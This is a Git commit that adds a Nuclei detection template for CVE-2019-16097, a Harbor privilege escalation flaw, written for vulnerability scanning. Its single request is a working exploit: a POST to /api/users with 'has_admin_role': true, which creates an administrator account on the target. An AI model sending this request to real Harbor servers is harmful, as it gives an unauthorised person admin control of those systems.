Create CVE-2019-16097.yaml

patch-1
PikPikcU 2021-02-19 13:08:32 +07:00 committed by GitHub
parent 30b38bb9d1
commit c53531cf91
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 28 additions and 0 deletions

View File

@ -0,0 +1,28 @@
id: CVE-2019-16097
info:
name: Harbor Enables Privilege Escalation From Zero to admin
author: pikpikcu
severity: critical
issues: https://github.com/goharbor/harbor/issues/8951
refrence: https://unit42.paloaltonetworks.com/critical-vulnerability-in-harbor-enables-privilege-escalation-from-zero-to-admin-cve-2019-16097/
requests:
- method: POST
path:
- '{{BaseURL}}/api/users'
headers:
Content-Type: application/json
body: |
{"username": "nuclei", "has_admin_role": true, "password": "NucleiTest!", "email": "zerozero@example.com", "realname": "nuclei"}
matchers-condition: and
matchers:
- type: word
words:
- "username has already been used"
part: body
- type: status
status:
- 201
- 409